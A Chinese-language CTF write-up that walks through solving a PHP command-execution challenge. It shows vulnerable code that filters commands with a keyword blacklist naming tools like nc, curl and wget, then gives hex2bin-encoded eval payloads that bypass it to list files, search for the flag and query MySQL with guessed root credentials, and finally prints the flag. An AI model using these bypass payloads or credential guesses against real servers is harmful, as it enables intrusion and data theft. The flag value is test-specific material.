我觉得一点都不simple,这是我做个最难的rce,但是有这么多人都做起了,不知道是自己太菜了还是啥

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php ini_set('open_basedir', '/var/www/html/'); error_reporting(0);
if(isset($_POST['cmd'])){ $cmd = escapeshellcmd($_POST['cmd']); if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) { system($cmd); } }
show_source(__FILE__); ?>
|
由于这里过滤了太多,所以一开始我想执行phpinfo(),想着怎么也得弄个回显出来吧,但是直接
不行,搞了好久发现是对system函数理解不到位,这实际上是在尝试执行一个名为 phpinfo() 的 shell 命令,而不是执行 PHP 的 phpinfo() 函数。由于 phpinfo() 不是一个有效的 shell 命令,所以执行失败
system可以执行php脚本,可以构造


既然确定了回显方式,那就去选取rce的类别,这里一直困扰我的是不仅过滤了很多命令,还过滤了引号,所以最终选择了无参数rce中的hex2bin方式去绕过
bin2hex代码用来加密payload:
1 2 3 4
| <?php $encoded = bin2hex("echo `ls`;"); echo $encoded; ?>
|
这里注意eval是执行代码的函数,后面遵循PHP语法,加;
然后是选取了substr函数这里用的两个参数
1 2 3 4 5 6
| <?php $encoded = bin2hex("echo `ls`;") echo $encoded; ?>
cmd=php -r eval(hex2bin(substr(_6563686f20606c73603b,1)));
|
这里本来想用0,即从头选取字符串到末尾,但是执行不了,就用这样的形式来呈现,从而绕过了引号

/var/www/html/里只有index.php
后面非常恶心,一顿在容器里面找flag,目录都翻遍了,让我一度想diss出题人(狗头保命)
于是我在网上看到说可以用find来找
1 2 3 4 5 6
| <?php $encoded = bin2hex("echo `find / -name '*flag'`;") echo $encoded; ?>
cmd=php -r eval(hex2bin(substr(_6563686f206066696e64202f202d6e616d6520272a666c616727603b,1)));
|
最后找到/var/lib/mysql/debian-10.5.flag (这里没截图,比赛结束了开不了容器了,但由于确实把我恶心坏了,让我如此记忆尤新)
补截图

然后我就去/var/lib/mysql/找,同时发现了PHP_CMS,这里我的第一想法是去cat debian-10.5.flag,虽然不知道是个啥,但是cat不了,当时就在想不会是在mysql数据库里吧,于是我把自己以前出的sql注入题目的目录对比


图中gift.sql是数据库同时确实有一些文件目录是相匹配的,我这时真的觉得PHP_CMS就是数据库,在加上现在本来就在容器里,但是进入mysql要账户密码,由于交这道题已经比赛快结束了,只好弱密码猜测root root ,没想到flag就在里面,这是最终payload:
(先show tables;出来table名,再select的,最后结合起来)
1 2 3 4 5 6
| <?php $encoded = bin2hex("echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;"); echo $encoded; ?>
cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));
|

1
| flag{3ed20e8b-6953-4d78-9556-d31f28ae6d0a}
|